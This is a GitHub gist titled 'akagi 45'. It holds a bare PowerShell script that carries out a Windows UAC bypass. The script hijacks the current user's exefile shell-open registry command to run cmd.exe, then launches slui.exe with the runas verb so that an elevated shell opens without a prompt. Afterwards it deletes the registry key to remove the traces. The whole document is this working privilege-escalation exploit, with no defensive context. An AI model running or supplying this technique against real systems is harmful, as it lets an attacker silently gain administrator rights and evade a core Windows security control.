Skip to content

Instantly share code, notes, and snippets.

@alexmaloteaux
Created May 3, 2018 09:20
Show Gist options
  • Save alexmaloteaux/7e9ab6b06936089c686dfef3dbe8f242 to your computer and use it in GitHub Desktop.
Save alexmaloteaux/7e9ab6b06936089c686dfef3dbe8f242 to your computer and use it in GitHub Desktop.
akagi 45
New-Item "HKCU:\Software\Classes\exefile\Shell\Open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\exefile\Shell\Open\command" -Name "(default)" -Value cmd.exe -Force
Start-Process -Verb "runas" "C:\Windows\System32\slui.exe" -WindowStyle Hidden
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\exefile\" -Recurse -Force
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment